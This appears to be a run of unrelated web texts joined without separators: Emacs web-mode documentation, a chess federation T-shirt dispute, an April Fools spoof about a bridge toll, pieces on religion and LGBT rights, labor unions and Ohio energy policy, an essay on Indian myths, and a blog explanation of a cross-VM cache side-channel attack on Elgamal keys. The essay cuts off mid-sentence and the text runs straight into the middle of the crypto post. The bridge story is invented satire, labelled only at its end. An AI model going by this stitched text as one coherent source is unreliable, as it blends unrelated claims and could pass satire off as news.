Add auto-pair Enable / disable features Auto-pairing (setq web-mode-enable-auto-pairing t) CSS colorization (setq web-mode-enable-css-colorization t) Block face: can be used to set blocks background and default foreground (see web-mode-block-face ) (setq web-mode-enable-block-face t) Part face: can be used to set parts background and default foreground (see web-mode-script-face and web-mode-style-face which inheritate from web-mode-part-face ) (setq web-mode-enable-part-face t) Comment keywords (see web-mode-comment-keyword-face ) (setq web-mode-enable-comment-interpolation t) Heredoc (cf. PHP strings) fontification (when the identifier is <<<EOTHTML or <<<EOTJAVASCRIPT ) (setq web-mode-enable-heredoc-fontification t) The customisations below should not be put in the hook. Declare them before loading web-mode.el Keywords / Constants Add constants (setq web-mode-extra-constants '(("php". ("CONS1" "CONS2"))) Also available: web-mode-extra-keywords, web-mode-extra-types
Add constants Also available:, Current element / column highlight Highlight current HTML element (see web-mode-current-element-highlight-face ) (setq web-mode-enable-current-element-highlight t) You can also highlight the current column with (setq web-mode-enable-current-column-highlight t)
Highlight current HTML element (see ) You can also highlight the current column with Context-aware auto-completion If you have auto-complete installed, you can set up per-language ac-sources with web-mode-ac-sources-alist: (setq web-mode-ac-sources-alist '(("css". (ac-source-css-property)) ("html". (ac-source-words-in-buffer ac-source-abbrev)))) To find a language's name, run the function web-mode-language-at-pos while in a block of it. All hooks in web-mode-before-auto-complete-hooks are run just before auto-completion starts. This is useful for adapting ac-sources meant for a single language to web-mode, like ac-source-yasnippet. Here is a sample config for editing PHP templates, using php-auto-yasnippets, emmet-mode, and ac-emmet: (setq web-mode-ac-sources-alist '(("php". (ac-source-yasnippet ac-source-php-auto-yasnippets)) ("html". (ac-source-emmet-html-aliases ac-source-emmet-html-snippets)) ("css". (ac-source-css-property ac-source-emmet-css-snippets)))) (add-hook 'web-mode-before-auto-complete-hooks '(lambda () (let ((web-mode-cur-language (web-mode-language-at-pos))) (if (string= web-mode-cur-language "php") (yas-activate-extra-mode 'php-mode) (yas-deactivate-extra-mode 'php-mode)) (if (string= web-mode-cur-language "css") (setq emmet-use-css-transform t) (setq emmet-use-css-transform nil))))) The first customisations can be put in a hook like thisThe customisations below should not be put in the hook. Declare them before loading web-mode.el
Shortcuts General M-; comment / uncomment line(s)
comment / uncomment line(s) C-c C-f toggle folding on a tag/block
toggle folding on a tag/block C-c C-i indent entire buffer
indent entire buffer C-c C-m mark and expand
mark and expand C-c C-s insert snippet
insert snippet C-c C-w toggle display of invalid whitespaces DOM C-c C-d a replace apostrophes
replace apostrophes C-c C-d d show tag mismatch
show tag mismatch C-c C-d e replace HTML entities
replace HTML entities C-c C-d n normalize
normalize C-c C-d q replace dumb quotes
replace dumb quotes C-c C-d t traverse dom tree
traverse dom tree C-c C-d x xpath Block C-c C-b b block beginning
block beginning C-c C-b c block close
block close C-c C-b e block end
block end C-c C-b k block kill
block kill C-c C-b n next block
next block C-c C-b p previous block
previous block C-c C-b s block select HTML element C-c C-e / element close
element close C-c C-e a select element content
select element content C-c C-e b element beginning
element beginning C-c C-e c element clone
element clone C-c C-e d child element (down)
child element (down) C-c C-e e element end
element end C-c C-e f toggle folding on children
toggle folding on children C-c C-e i element insert
element insert C-c C-e k element kill
element kill C-c C-e m mute blanks between children
mute blanks between children C-c C-e n next element
next element C-c C-e p previous element
previous element C-c C-e r rename element
rename element C-c C-e s select element
select element C-c C-e t transpose element
transpose element C-c C-e u parent element (up)
parent element (up) C-c C-e v element vanish
element vanish C-c C-e w wrap element HTML tag C-c C-t a sort attributes
sort attributes C-c C-t b tag beginning
tag beginning C-c C-t e tag end
tag end C-c C-t m fetch matching tag
fetch matching tag C-c C-t n next tag
next tag C-c C-t p previous tag
previous tag C-c C-t s select tag HTML attribute C-c C-a b attribute beginning
attribute beginning C-c C-a e attribute end
attribute end C-c C-a i attribute insert
attribute insert C-c C-a k attribute kill
attribute kill C-c C-a n attribute next
attribute next C-c C-a p attribute previous
attribute previous C-c C-a s attribute select
attribute select C-c C-a t attribute transpose
Helper functions web-mode-apostrophes-replace : replace'by ’ (only in HTML content)
: replace'by ’ (only in HTML content) web-mode-entities-replace : replace html entities (only in HTML content)
: replace html entities (only in HTML content) web-mode-quotes-replace : replace dumb quotes (only in HTML content)
Engine families Never forget to update the Never forget to update the auto-mode-alist. name cousins extensions example django twig, jinja, erlydtl, swig, liquid, selmer (Clojure), clabango, swig, nunjucks *.djhtml, *twig*, *.dtl, *.tmpl, *.njk php *.php, *.psp, *.ctp erb eruby, ember, erubis, embedded javascript *.erb, *.rhtml, *.ejs velocity cheetah, vtl *.vsl, *.vtl, *.vm blade laravel *blade* go gtl *.gohtml, *.gotmpl jsp *.jsp, *.gsp freemarker *.ftl aspx *.aspx, *.ascx asp *.asp razor play, play2 *.cshtml, *.vbhtml ctemplate mustache, handlebars, ember, hapax, ngtemplate, meteor, blaze, velvet *.hbs, *.mustache smarty *.tpl dust *.dust closure *.soy underscorejs template-toolkit *.tt, *.tt3 mako *.mako lsp *.lsp
FAQ Autoremove final white spaces on save Add those lines in the web-mode hook (add-hook 'local-write-file-hooks (lambda () (delete-trailing-whitespace) nil))
Add those lines in the web-mode hook Make this mode faster M-x byte-compile-file
Platforms/Compatibility Tested on GNU/Linux, OSX and Windows.
Tested with versions 24 and 23 (some users seem to use web-mode.el with emacs 22).
Tested on GNU/Linux, OSX and Windows. Tested with versions 24 and 23 (some users seem to use web-mode.el with emacs 22). I want to use both php-mode and web-mode You can do it this way (add-to-list 'auto-mode-alist '("\\.php\\'". php-mode)) (add-to-list 'auto-mode-alist '("\\.blade\\.php\\'". web-mode)) Never forget that the matching is done on the path and not just on the filename. If your templates are stored in a subdirectory called views, html or templates, you can use such a configuration line: (add-to-list 'auto-mode-alist '("/\\(views\\|html\\|templates\\)/.*\\.php\\'". web-mode))
You can do it this way Never forget that the matching is done on the path and not just on the filename. If your templates are stored in a subdirectory called, or, you can use such a configuration line: How can I turn auto indentation on? Put this line in the web-mode-hook (local-set-key (kbd "RET") 'newline-and-indent) You can also use M-x electric-indent-mode.
Please note that starting with 24.4, Emacs does this by default.
Put this line in the web-mode-hook You can also use. Please note that starting with 24.4, Emacs does this by default. I want to use smartparens (defun my-web-mode-hook () (setq web-mode-enable-auto-pairing nil)) (add-hook 'web-mode-hook'my-web-mode-hook) (defun sp-web-mode-is-code-context (id action context) (and (eq action 'insert) (not (or (get-text-property (point) 'part-side) (get-text-property (point) 'block-side))))) (sp-local-pair 'web-mode " Special thanks to Johan Ekenberg for this tip.
Can I contribute? Of course! You can send bug reports/fixes, feature requests, etc.
You can also donate with the button located in the right column.
Special thanks to the generous donors: Ed Singleton, Laurence Bois, Daniel Parnell, Digital Strategies, Lars Hartmann, Christian Kruse, Johan Ekenberg, LE Sarvell KB, Clint Howarth, Kardakov Slava, Jason Steven Cornez, Pierre-Emmanuel Bois, Grant Rettke, Varun Madiath, Eric Newhuis, Argentov Pavel, Martin Gregory, Joshua Branson, David Sveningssonn, Hemant Kumar, LE Sarvell KB, Klaus Madsen, Kristian Nybo, Erik Nordlund, Dustin Paluch, Rodrigo García Suárez, Michael Craig, Alexandr Klizhentas, William Lindley, Ian Wilson, William Morton, Rachel Bingham, Simen Heggestøyl, Ruben Maher, Sunil Williams, Aleksey Koval, Steven Litvintchouk, Basharat Ahmad, Matthias Cords, Jakub Jankiewicz, Darren Embry, Jerome Truong, Manuel Kaufmann, Daniel Temple, Jonathan Soifer, Mikhail Pomaznoy, Mitchel Humpherys, Teo Klestrup Röijezon, Kaushal Modi, Yu-Chiang Hsu, Jun Hyunje, Hemal Pandya
Of course! You can send bug reports/fixes, feature requests, etc. You can also donate with the button located in the right column. Special thanks to the generous donors: Ed Singleton, Laurence Bois, Daniel Parnell, Digital Strategies, Lars Hartmann, Christian Kruse, Johan Ekenberg, LE Sarvell KB, Clint Howarth, Kardakov Slava, Jason Steven Cornez, Pierre-Emmanuel Bois, Grant Rettke, Varun Madiath, Eric Newhuis, Argentov Pavel, Martin Gregory, Joshua Branson, David Sveningssonn, Hemant Kumar, LE Sarvell KB, Klaus Madsen, Kristian Nybo, Erik Nordlund, Dustin Paluch, Rodrigo García Suárez, Michael Craig, Alexandr Klizhentas, William Lindley, Ian Wilson, William Morton, Rachel Bingham, Simen Heggestøyl, Ruben Maher, Sunil Williams, Aleksey Koval, Steven Litvintchouk, Basharat Ahmad, Matthias Cords, Jakub Jankiewicz, Darren Embry, Jerome Truong, Manuel Kaufmann, Daniel Temple, Jonathan Soifer, Mikhail Pomaznoy, Mitchel Humpherys, Teo Klestrup Röijezon, Kaushal Modi, Yu-Chiang Hsu, Jun Hyunje, Hemal Pandya Indentation behaves oddly (whitespace/TAB mixup, *-offset vars ignored) If you don’t want tabs, add (setq-default indent-tabs-mode nil) in your.emacs
If you want to indent only with tabs, use: (setq indent-tabs-mode t). Moreover you might need to call (web-mode-use-tabs) in your web-mode hook.
TAB width can be set this way: (setq-default tab-width 4)
If you don’t want tabs, add in your.emacs If you want to indent only with tabs, use:. Moreover you might need to call in your web-mode hook. TAB width can be set this way: Syntax coloring does not work Some users might report issues when using themes that not play nicely with web-mode.
Before reporting a bug about highlighting, try a theme (e.g. Solarized).
Tips: when using emacs in a terminal, always try to enable 256 colors compatibility (xterm-256color).
If you consider that the color of HTML tags too light, you can customize faces like web-mode-html-tag-face or web-mode-html-attr-face.
Some users might report issues when using themes that not play nicely with web-mode. Before reporting a bug about highlighting, try a theme (e.g. Solarized). Tips: when using emacs in a terminal, always try to enable 256 colors compatibility (xterm-256color). If you consider that the color of HTML tags too light, you can customize faces like or. Autopairing, tag autoclosing does not trigger This is the normal behavior when you run emacs in a terminal (tty). That’s because in text mode, pasting a long text is like inserting it one character at a time. Thus, the consequences can be bad e.g. many auto closing/pairing instead of one. If you wan’t to force autoclosing, autopairing even in a terminal, add (setq web-mode-enable-auto-closing t) and (setq web-mode-enable-auto-pairing t) in your.emacs
Support To report a bug, submit an issue on GitHub (note: a screenshot, an example on gist and the output of M-x web-mode-debug are always useful). It may also be a good idea to look at the *Messages* buffer. For general questions (install, config, etc), use emacs.stackexchange.com (do not forget to associate the web-mode tag).The president of the English Chess Federation says he was barred from presenting prizes at the British chess championships in Sheffield because he was wearing a gay rights T-shirt [see footnote].
CJ de Mooi, an actor and a regular on the BBC quiz show Eggheads, said he was left "shaking with fury" over objections to the shirt, which bore the slogan "Some people are gay, get over it", used by gay rights group Stonewall.
De Mooi said he was approached by the championship arbiter, Lara Barnes, prior to the awards ceremony and urged to reconsider his outfit. "They then suggested that it might be better if I just presented prizes to the adults," he said. "I refused. I was either going to present all the prizes or none at all."
Barnes denied asking de Mooi to change his shirt, saying she had merely expressed reservations. "I didn't think that promoting gay rights, which I thoroughly agree with, while presenting prizes to junior chess players was an appropriate thing," she said. "Usually prize-givers for a national event would wear a suit and tie."
De Mooi said he had worn the T-shirt throughout the event without complaints. "None of the parents, none of the kids, said anything to me that wasn't completely positive. Quite a few of them said, 'we love the T-shirt, well done for wearing it'."
Laura Doughty, deputy chief executive of Stonewall UK, said she was puzzled by the furore. "We think our T-shirts are lovely and don't see why anyone would object to anyone wearing one, least of all chess players."
Leonard Barden, the Guardian's chess correspondent, said: "There has never been a dress code before. It's not something that happens in chess, it's supposed to be non-discriminatory."
De Mooi, who has been president of the English Chess Federation for the past two years, said he was angered and baffled: "I was elected president in the first place because English chess was in the absolute doldrums. As a very prominent member of the chess committee has said, I was elected because I do things differently."
Barnes praised de Mooi's efforts to promote chess but said it was improper to mix the game with gay rights: "I've every sympathy with his cause, but I didn't think it was appropriate to have the sentiment on the T-shirt in every photograph with junior chess players – under-10s, under-12s and under-14s – promoting a particular sexuality."
• This footnote was appended on 5 September 2011. The following notice was posted on the English Chess Federation's website on 8 August 2011: "There was a discussion just before the prizegiving at the highly successful Darwin Strategic 98th British Chess Championships on Saturday 6 August in Sheffield between CJ de Mooi (ECF President) and Lara Barnes (an ECF Senior Arbiter). This led to an unfortunate misunderstanding which has attracted a certain amount of media and other unwanted attention. This misunderstanding has now been resolved amicably. For our part we wish to reaffirm our confidence in CJ de Mooi as President of the ECF and Lara and all the administrative team of the British Chess Championships, who did a magnificent job as always."The state Department of Transportation plans to place a toll booth on scenic Deception Pass Bridge.
The state Department of Transportation announced plans this week to place toll booths on Deception Pass Bridge to help pay for a seismic retrofit of the aging structure.
The bridge will also be painted its original shade of puce as part of the project, WSDOT announced.
The amount of the toll hasn’t been set, but state officials say it will likely be $5 in quarters.
Oak Harbor community leaders expressed shock at the plans, which they say will put a big wet blanket on tourism and cause traffic backups to extend miles on both sides of the bridge.
“Anyone without spare change will be trapped on the island,” the county’s public works director said. “And they should have discounts for Canadians and people in orange cars.”
Not everyone is upset.
An entrepreneurial kindergartner plans to open a lemonade stand near the bridge for thirsty motorists caught in stalled traffic.
And a self-described “grumpy old man” said he hopes the toll will keep ragamuffins and vagabonds off the island; he also wants the state to jack up the cost of ferry tickets to keep swashbucklers at bay.
The need for the retrofit came to light after two middle-school children were climbing under the bridge on a dare. They noticed large cracks throughout the structure and also realized that the bridge was leaning to one side.
Around the same time, historians discovered the bridge wasn’t originally black and white, as old photos suggest. They tracked down an elderly resident who remembered that it used to be a purplish-brown color, possibly with yellow polka dots.
The state is also looking at building a floating bridge or possibly a tunnel from Coupeville to Camano Island, but funding for the project is currently stalled in the senate committee on pipe dreams.
April Fools!Introduction
Hans Pennink/Associated Press
“Sadly it is religion, including our own,” a Florida bishop wrote after the massacre in a gay club in Orlando, that can “plant the seed of contempt, then hatred, which can ultimately lead to violence” against gays, lesbians and transgender people. One congressman said, “We are not blameless, when we tell government contractors it is O.K. to discriminate against someone because they are gay or lesbian – or tell transgender school children that we will not respect their gender identity.”
But is it fair to say that people share any blame for Saturday night’s attack because they oppose L.G.B.T. equality for religious reasons? And while the media is focused on the role that Muslim anti-gay rhetoric may have played in this slaughter, do conservative Christians need to accept greater civil rights for L.G.B.T people in order to create a less hurtful atmosphere in the United States?After receiving a drubbing in this fall's elections, some union officials want to rethink the labor movement's approach to politics.
Having long tied their fortunes to Democrats -- and having seen Democrats beaten badly, particularly at the state level -- at least some union leaders are thinking about returning to the basics of providing professional services to members and emphasizing issues, rather than candidates.
"Unions have to be aggressively pushing for the issues we really believe in," said Gabe Morgan, a Service Employees International Union state director in Pennsylvania, referring to the success of minimum wage increases on several state ballots.
Noting that his union helped unseat Republican Gov. Tom Corbett, Morgan said, "If we would have relied on the Democratic Party to take a real position on so many issues important to where Americans are, we would have lost here, too."
The Pennsylvania governor's race was a rare bright spot for unions and the Democrats. Unions failed to take out targets such as Scott Walker, Sam Brownback and Rick Snyder, the Republican governors of Wisconsin, Kansas and Michigan, respectively.
"Half the states have complete Republican control," said Mike Petrilli, president of the Fordham Institute, a conservative education think tank. "That should scare the hell out of the unions. In most places, they haven't invested in those relationships."
Unions suffered losses at all levels of government. Only three of the 14 Senate candidates endorsed by the American Federation of Government Employees ended up winning. In San Jose, Calif., the mayoral election turned into a referendum on pension cuts, with the candidate backed by the police union coming up short.
Labor didn't lose everywhere. Unions helped turn back a well-financed proposal in Phoenix that threatened pensions for municipal employees. In Missouri, a ballot measure that would have mandated the use of standardized tests in teacher evaluations also lost.
But unions will have less impact now in states where issues such as pension cuts and charter school and voucher expansions are expected to be a prominent part of the debate next year.
Bill Raabe, a former top National Education Association official, worries that in response unions will "double down" on old strategies, only being "good at saying 'no' to change.
"For too long, unions (school employee unions, too) have relied on past successful strategies to deal with their current realities and their hoped-for futures," Raabe wrote in a post on the Education Intelligence Agency blog. "It is time for them to rethink how they operate."
They are having to navigate difficult terrain. Not only are many Republicans hostile to them, but Democrats have been unreliable friends in many cases when it comes to issues such as pensions and so-called education reform proposals.
"That's the real political challenge for labor going forward," said Jake Rosenfeld, author of the recent book What Unions No Longer Do. "Do they expend resources backing fair weather friends who express support at election time, and turn against them when it's time to make policy?"
Labor doesn't have much power at election time anyway, since the percentage of households with union members has long been in steep decline. Last year, 11 percent of workers in the U.S. belonged to unions -- less than half the share 30 years earlier.
Public-sector unions have held steady -- 35 percent of government workers belong to unions -- but are clearly under attack now.
"Labor's ability to turn people out and get members to vote was always stronger among private-sector members," said Rosenfeld, who teaches sociology at the University of Washington. "In the public sector, that kind of mobilizing ability was not that large."
What public-sector unions can do is provide money to candidates. Unions devoted $116 million to politics during this last election cycle, according to the Center for Responsive Politics. But that meant they were still outspent by 10-to-1 by business groups and made up a small fraction of the estimated $6 billion spent on congressional and state races this year.
"With all the new sources of money available to candidates, their comparative advantage has just been diluted," Rosenfeld said.
He agrees with Morgan, the SEIU official, that unions can enjoy success building alliances that help promote causes such as minimum wage increases. But those campaigns, however successful, typically don't directly address labor's central problem.
Labor's declining membership -- along with open attacks on collective bargaining and other labor rights launched by some Republicans -- makes it difficult for unions to maintain their traditional clout.
"The currency of politics is that you can win elections," said Petrilli, the think tank president. "'If you cross the unions, you'll lose your job' -- that's a powerful message and they've been able to use that for decades, but they're losing that."The melancholic cow, who crosses the street like an Indian and may transmit good fortune to those who touch her, is probably the most researched animal in the country. In many sprawling places, scientists who are somewhat infatuated with the sacred beast, are trying to prove that almost everything it does brings benefits to humans. That is why at four every morning in a Nagpur cowshed, volunteers stand with bottles waiting for the cows to pass urine. This is part of an institute’s ten-year-long research, worth about Rs 3 crore, that aims to prove that cow’s urine can cure cancer, arthritis and renal failure.
Bhanwarlal Kothari, who heads Rajasthan Gau Seva Sangh, a cow fan club, claims that if cowdung is smeared on a wall, it can block nuclear radiation. “We asked Bhabha Atomic Research Centre to test it. We are waiting for them to get back to us.” Professor Madan Mohan Bajaj from the Delhi University’s department of physics and astrophysics has spent over 15 years investigating the effects of animal slaughter on earthquakes, air crashes and other disasters. “I have noticed that immediately after any festival, when a lot of cows are killed, there is very strong seismic activity around the world.”
Evidently, there is a lot of effort that is going on to prove that the great ancient Indians somehow knew that the cow was a very special animal and in their wisdom bestowed upon it an eternal celestial status (as opposed to a Dalit complaint that Brahmins loved the cow simply because it was white, and not the buffalo which was black).
The consecration of the cow, which is not merely a consequence of religion but also Indian nationalism, is the least significant effect of a vastly powerful but underrated and much maligned cultural force called bullshit. Bullshit is all around us. It is on the hoardings, in the speeches of the most powerful men, the prose of honest women, the analyses of the brightest investment bankers, and even the proverbs of your mother.
Nonsense is a relentless force which is far more influential than sense. It is the indestructible power of nonsense that has ensured that you have read at least once, “Rekha is an enigma” (this actually means she almost never grants interviews to journalists). And it is the same force which is the reason why, despite all the films and serials you have seen, you may find it hard to meet a single person in Mumbai who uses the word ‘apun’.
The first spasm of hysteria around India’s mythical software power, too, was partly created by this quaint force that was understood so well by the late Dewang Mehta, former head of Nasscom, a pressure group for software companies. He knew that journalists wanted stories and to strengthen their stories they needed figures that they could attribute to an organisation. Nasscom was an organisation, and all Dewang Mehta now needed was statistics. And he always somehow found them. Stunned by the kind of data and numerical estimations Mehta could give out, a friend and I decided to test him by creating a question that could not have an answer. So, on the sidelines of a press conference, we asked him, “In three years time, by what percentage will the cost of Chinese outsourcing undercut Indian outsourcing?” He answered immediately, in the middle of opening a door, “36 per cent.”
A few years ago, at the Ad Asia summit in Jaipur, Kumar Mangalam Birla said in the middle of an India-is-so-great speech that one-third of Nasa is occupied by his countrymen. He was a victim of a type of speechwriters who google for material. Or, he was yet another recipient of those patriotic chain mails that will eternally crawl through the Internet, listing out the seeming achievements of Indians, almost all of them untrue, like how this many Indians are doctors in America, that many are scientists, and how Sanskrit is the best language for computer coding.
In the middle of all this, if a sardar somewhere uses a washing machine to make lassi, we will point to him and say with flared nostrils of appreciation, “jugaad”.
But the most enduring myth is that something called the freedom movement got India freedom, that the Second World War and the |
had a research team working on a 22-bit key and Apple had abandoned keys altogether, opting for a simple note from Tim Cook asserting that any invalid email messages were probably the recipient’s fault. (Ba-dum-tschch.)
So that’s the headline news, and I don’t want to write about any of it.
What I do want to write about is a result that’s gotten a lot less attention — mostly because it’s subtle, falls into the category of ‘things we thought of knew about, but didn’t explore‘ and because it involves Hidden Markov models — which are to tech reporters as raw garlic and silver are to vampires.
This new result is by Zhang, Juels, Reiter and Ristenpart, and it appeared in the ACM CCS conference just a few weeks ago, and it deals with something very relevant to the way we build modern systems. Specifically, if we’re going to go and stick all of cryptographic services in cloud-based VMs, how secure can we possibly expect them to be?
The answer is: unfortunately, not very. To get into the details I’m going to use the standard ‘fun’ question/answer format I usually save for these kinds of attacks.
Why would I put my cryptography in a VM anyway?
In case you missed it, the cloud is our future. The days of running our own cranky hardware and dealing with problems like power-supply faults are long gone. If you’re deploying a new service, there’s a good chance it’ll be at least partly cloud-based. There’s a decent chance it will be entirely cloud-based.
Take Instagram, for instance. Their entire $1bn service runs on a few hundred cleverly-managed EC2 instances. While Instagram itself isn’t exactly a security product, they do use TLS and SSH (presumably on the instances themselves), and this implies public key crypto and the use of secret keys.
Now this shouldn’t be a problem, but VM instances often share physical hardware with other instances, and since EC2 is a public service, those co-resident VMs may not be entirely friendly. The major threat here is, of course, software vulnerabilities — things that can let an attacker break out of one VM and into another. But even if you perfect the software, there’s another more insidious threat: namely, that the attacker VM instance could be able to run a side-channel attack on the co-resident VM.
This threat has long been discussed, and security people generally agree that it’s a concern. But actually implementing such an attack has proven surprisingly difficult. This is because real hypervisors put a lot of fluff between the attacking process and the bare metal of the server. Different VMs often run on different cores. Moreover, since each VM has an entire OS running inside of it, there’s tons of noise.
In fact, there’s been plenty of reason to wonder if these attacks are simply the product of security researchers’ fevered imaginations, or if something we need to worry about. What Zhang, Juels, Reiter and Ristenpart tell us is: yes, we should worry. And oh boy, do they do it in a nifty way.
So what is it and how does it work?
The new result focuses specifically on the Xen Hypervisor, which is the one actually used by services like Amazon EC2. Although the attack was not implemented in EC2 itself, it focuses on similar hardware: multi-core servers with SMT turned off. The threat model assumes that the attacker and victim VM are co-resident on the machine, and that the victim is decrypting an Elgamal ciphertext using libgcrypt v.1.5.0.
Now, Elgamal encryption is a great example for side-channel attacks, since it’s implemented by taking a portion of the ciphertext, which we’ll call x, and computing x^e mod N, where e is the secret key and N is (typically) a prime number. This exponentiation is implemented via the ‘square and multiply‘ algorithm, shown in the figure below:
Square and multiply algorithm (source: Zhang et al.)
The first thing you notice about square-and-multiply is that its operation depends fundamentally on the bits of the secret key. If the ith bit of e is 1, the steps labeled (M) and (R) are conducted. If that bit is 0, they aren’t. The bits of the key results in a distinctive set of computations that can be detected if the attacking VM is able to precisely monitor the hardware state.
Now, side-channel attacks on square-and-multiply are not new. They date back at least to Paul Kocher’s observations in the mid-to-late 90s using power and operating time as a channel, and they’ve been repeatedly optimized as technology advances. More recent attacks have exploited cache misses in a shared processor cache (typical in hyper-threading environments) as a means by which a single process can monitor the execution of another one.
However, while these attacks have worked from one process to another, they’ve never been applied to the full Xen VM setting. This is a pretty challenging problem for a variety of reasons, including::
The difficulty of getting the attacking process to run frequently enough to take precise measurements.
frequently enough to take precise measurements. The problem that VCPUs can be assigned to different cores, or irrelevant VCPUs can be assigned to the same core.
Noisy measurements that give only probabilistic answers about which operations occurred on the target process.
And so on and so forth. The challenge in this paper is to overcome all that nonsense and still recover useful information from the attacked VM.
So what’s the basic idea?
At a fundamental level, the attack in this paper is quite similar to previous attacks that worked only across processes. The attacking VM first ‘primes‘ the L1 instruction cache by allocating continuous memory pages, then executing a series of instructions designed to load the cache with cache-line-sized blocks it controls.
The attacker then gives up execution and hopes that the target VM will run next on the same core — and moreover, that the target is in the process of running the square-and-multiply operation. If it is, the target will cause a few cache-line-sized blocks of the attacker’s instructions to be evicted from the cache. Which blocks are evicted is highly dependent on the operations that the attacker conducts.
To see what happened, the attacking VM must recover control as quickly as possible. It then ‘probes‘ to see which blocks have been evicted from the cache set. (This is done by executing the same instructions and timing the results. If a given block has been evicted from the cache, execution will result in a cache miss and a measurable delay.) By compiling a list of which blocks were missing, the attacker gains insight into which instructions may have been executed while the target VM was running.
A big challenge for the attacker is the need to regain control quickly. Wait too long and all kinds of things will happen — the state of the cache won’t give any useful information.
Normally Xen doesn’t allow VCPUs to rapidly regain control, but there are a few exceptions: Xen gives high priority to Virtual CPUs (VCPUs) that receive an interrupt. The authors were able to exploit this by running a 2-VCPU VM, where the second VCPU’s only job is to issue Inter-Processor Interrupts (IPIs) in an effort to get the first VCPU back in control as quickly as possible. Using this approach they were able to get back in the saddle within about 16 microseconds — an eternity in processing time, but enough to give useful information.
But isn’t that data noisy as hell? And fragmented?
Yes. The challenge here is that the attacking VM has no control over where in the computation it will jump in. It could get just a small fragment of the square-and-multiply operation (which is hundreds or thousands operations long), it could jump into the OS kernel, it could even get the wrong VM, thanks to the fact that they can run on any core. Plus the data could be pretty noisy.
The solution to these problems is what’s so nifty about this paper. First, they don’t just monitor one execution — they assume that the device is constantly decrypting different ciphertexts, all with the same key. This is a pretty reasonable assumption for something like an SSL web server.
Next, they use machine learning techniques to identify which of the many possible instruction sequences are associated with particular cache measurements. This requires the researchers to train the algorithm beforehand on the target hardware, having the target VCPU conduct of square, multiply and modular reduce calls in order build a training model. During the attack, the data was further processed using a Hidden Markov Model to eliminate errors and bogus measurements from non-cryptographic processes.
Even after all this work, the attacker winds up with thousands of fragments, some of which contain errors or low-confidence results. These can be compared against each other to reduce errors, then stitched together to recover the key itself. Fortunately this is a problem that’s been solved in many other domains (most famously: DNA sequencing), and the techniques used here are quite similar.
A good way to illustrate the process is to present a totally made-up example, in which six fragments are reconstructed to form a single spanning sequence:
S1: SRSRMRSRMRSRSRSMR
S2: MRSRSRSRMR**SRMRSR
S3: SRMRSRSR
S4: MRSRSRSR**SRMRSR
S5: MR*RSRMRSRMRSR
S6: MRSRSRMRSRSRSRMR
————————————————
SRSRMRSRMRSRSRSMRSRSRMRSRSRSRMRSRMRSRSRMRSRMRSR
This is obviously a huge simplification of a very neat (and complex) process that’s very well described in the paper. And if all this technical stuff is too much for you: it’s basically like the scene in Argo where the little kids reconstructed the shredded photos of the embassy workers. Just without the kids. Or the photos.
So does it actually work?
It would be a hell of a bad paper if it didn’t.
With everything in place, the researchers applied their attack against a 4096-bit Elgamal public key, which (due to an optimization in libgcrypt) actually has a 457-bit private key e. After several hours of data collection, they were able to obtain about 1000 key-related fragments, of which 330 turned out to be long enough to be useful for key reconstruction. These allowed the attackers to reconstruct the full key with only a few missing bits, and those they were able to guess using brute force.
And that, as they say, is the ballgame.
Left: Fragment size vs. number of fragments recovered, Right: sequence accuracy as a function of fragments in a batch. (source: Zhang et al.)
Oh my god, we’re all going to die.
I would note that this isn’t actually a question. But before you start freaking out and pulling down your cloud VMs, a few points of order.
First: there’s a reason these researchers did this with libgcrypt and Elgamal, and not, say OpenSSL and RSA (which would be a whole lot more useful). That’s because libgcrypt’s Elgamal implementation is the cryptographic equivalent of a 1984 Stanley lawnmower engine — it uses textbook square-and-multiply with no ugly optimizations to get in the way. OpenSSL RSA decryption, on the other hand, is more like a 2012 Audi turbo-diesel: it uses windowing and CRT and blinding and two different types of multiplication, all of which make it a real pain in the butt to deal with.
Secondly, this attack requires a perfect set of conditions. As proposed it works only works with two VMs, and requires specific training on the target hardware. This doesn’t mean that the attack isn’t viable (especially since cloud services probably do use lots of identical hardware), but it does mean that messiness — the kind you get in real cloud deployments — is going to be more of an obstacle than it seems.
One last thing worth mentioning is that before you can attack a VM, you have to get your attack VM onto the same physical hardware with your target. This seems like a pretty big challenge. Unfortunately, some slightly older research indicates that this is actually very feasible in existing cloud deployments. In fact, for only a few dollars, researchers were able to co-locate themselves with a given target VM with about 40% probability.
In the short term, you certainly shouldn’t panic about this, especially given how elaborate the attack is. But it does indicate that we should be thinking very hard about side-channel attacks, and considering how we can harden our systems and VMMs to be sure they aren’t going to happen to us.Part of NRDC's Year-End Series Reviewing 2017 Energy & Climate Developments
This month marks the one-year anniversary of an event in Ohio that turned the page on years of political machinations and ideological theatrics around with the state’s growing clean energy industry—Governor Kasich vetoed a bill that would have weakened successful clean energy standards that had been “frozen” by the Ohio legislature back in 2014.
With the stroke of a pen, the Governor’s action signaled to the growing number of consumers and businesses that want clean energy that they can find it in Ohio, not just in Michigan and Illinois, two neighboring states led by Republican governors that are also marking one-year anniversaries this month of upping the ante on their own clean energy standards.
But where does Ohio stand on clean energy policy today, as we near the close of 2017?
In this year of upheaval of our federal environmental laws—not to mention months of overt cronyism at the highest levels of government to salvage the failing fossil fuel industry (read: Ricky Perry’s proposed massive, damaging bailout of our nation’s coal and nuclear plants)—Ohio remains at the center of these controversies given its historic reliance on coal. Clean energy is trying to make a comeback following Kasich’s veto, but uncertainty over the state’s energy policy landscape remains, chipping away at corporate confidence that Ohio is a good place to develop the next wave of renewable energy projects.
Here’s an inventory of the distance we’ve traveled in the last year on realizing Ohio’s clean energy future, and how much further we have to go:
Coal and Nuclear Bailouts
Ohio has been the eye of the storm on a national debate around the fate of coal and nuclear plants that can no longer compete in today’s energy market of rock-bottom natural gas prices, flattening electricity demand, and abundant (and increasingly cheap) wind, solar and energy efficiency.
More than a decade ago, Ohio’s utilities and lawmakers made the call to restructure the state’s energy markets, spinning off power generation from the poles-and-wires utilities and forcing all power plants to sink or swim in a competitive landscape while ensuring customers would reap the benefits of lower energy prices. The getting was good for a while for coal and nuclear plants, but in recent years power prices have dropped precipitously due to a glut of natural gas generation, spelling trouble for the more expensive sources.
That brings us to this year’s state legislative session, in which all of Ohio's major electric utilities have tried their hand at sticking consumers with the bill for their own poor financial decisions. The first of those attempts was to bail out the two Eisenhower-era coal plants under the Ohio Valley Electric Corporation (OVEC) umbrella. FirstEnergy pursued similar subsidies for its two failing nuclear plants this year.
